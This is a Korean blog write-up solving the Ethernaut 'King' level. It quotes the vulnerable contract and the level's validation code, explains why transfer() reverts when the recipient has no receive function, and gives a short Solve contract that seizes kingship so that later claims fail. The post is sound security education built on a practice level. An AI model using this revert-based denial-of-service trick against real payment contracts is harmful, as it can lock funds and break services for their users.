티스토리 뷰
1. 문제 설명
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
instance를 제출한 후에 배포한 컨트랙트에서 king을 다시 claim하려고 시도할 것입니다. 우리는 이 과정에서 king이 변경되지 않도록 하면 되는 문제입니다.
function validateInstance(address payable _instance, address _player) public override returns (bool) {
_player;
King instance = King(_instance);
(bool result,) = address(instance).call{value: 0}("");
!result;
return instance._king() != address(this);
}
실제로 이더넛에서 검증하는 코드는 위와 같습니다. 이것은 즉 instance에 receive() 함수를 호출하여도 king이 level 컨트랙트의 주소로 변경되지 않아야 하는 것입니다.
2. 취약점 분석
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
receive 함수는 다음과 같은 동작을 합니다.
- msg.value가 prize보다 크거나 같은지 or msg.sender가 owner인지 확인
- king에게 msg.value를 보냄
- king과 prize를 각각 msg.sender, msg.value로 갱신
level 컨트랙트에서 instance를 검증할 때 msg.sender는 owner 즉, level 컨트랙트이므로 require문은 항상 통과합니다. 남은 것은 transfer() 함수 뿐인데, 이 과정에서 트랜잭션이 실패한다면 그 후의 코드는 진행되지 않아 king이 바뀌지 않을 것입니다.
transfer()
transfer() 함수는 솔리디티에서 이더를 전송하는 기본 매커니즘 중 하나이며 해당 함수가 실패하는 주요 원인은 다음과 같습니다.
- 전송할 잔액이 부족한 경우
- 수신 주소가 이더를 수신할 수 없는 경우
- 가스 제한 문제
- ...
instance 검증 함수에서 전송한 msg.value는 0 이므로 잔액이 부족할 일은 없을 것입니다. 그 다음으로는 수신하는 주소가 이더를 수신할 수 없는 경우인데, 수신하는 컨트랙트에서 receive 함수가 존재하지 않을 경우 revert가 발생하게 됩니다. 따라서 receive 함수가 존재하지 않는 컨트랙트를 배포한 후에 king의 값을 배포한 컨트랙트의 주소로 변경하면 문제가 해결될 것입니다.
3. 공격 수행
pragma solidity ^0.8.0;
contract Solve {
function run(address _king) public payable {
_king.call{value: msg.value}(""); // 0.001 ether
}
// NO FALLBACK FUNCTION
}
단순히 receive 함수가 없는 컨트랙트를 생성한 뒤 이더를 전송하면 king의 주소는 Solve 컨트랙트의 주소가 되며 level 컨트랙트에서 validate를 할 경우 Solve 컨트랙트에는 receive 함수가 존재하지 않아 revert가 발생하게 됩니다. 따라서 king의 주소는 계속 변경되지 않을 것입니다.
king의 주소를 Solve 컨트랙트의 주소로 변경해준 뒤 submit을 해주었습니다.
✌️
4. 문제 보충 설명
Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.
In this case, see: King of the Ether and King of the Ether Postmortem.
이더넛의 대부분의 문제들은 실제로 일어났던 일을 바탕으로 제작되었다고 합니다. 위의 두 개의 사례는 이번 King 문제와 연관되어 있습니다.
감사합니다!
'Web3 > Wargame' 카테고리의 다른 글
[Ethernaut] Level 8 Vault 풀이 (0) | 2024.12.10 |
---|---|
[Ethernaut] Level 7 Force 풀이 (0) | 2024.12.10 |
[Ethernaut] Level 6 Delegation 풀이 (0) | 2024.12.04 |
[Ethernaut] Level 5 Token 풀이 (1) | 2024.12.03 |
[Ethernaut] Level 4 Telephone 풀이 (0) | 2024.11.22 |
- Total
- Today
- Yesterday
- Los
- forensic
- misc
- 디지털 포렌식
- ctftime
- solidity
- Crypto
- Ethereum
- YISF
- 코딩테스트
- 이세돌
- Lord of SQL injection
- 정렬
- 웹해킹
- 디스코드 봇
- smart contract
- 워게임
- writeup
- 오블완
- 알고리즘
- Write up
- Python
- CTF
- 프로그래머스
- 파이썬
- web3
- 티스토리챌린지
- 이더넛
- blockchain
- Ethernaut
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |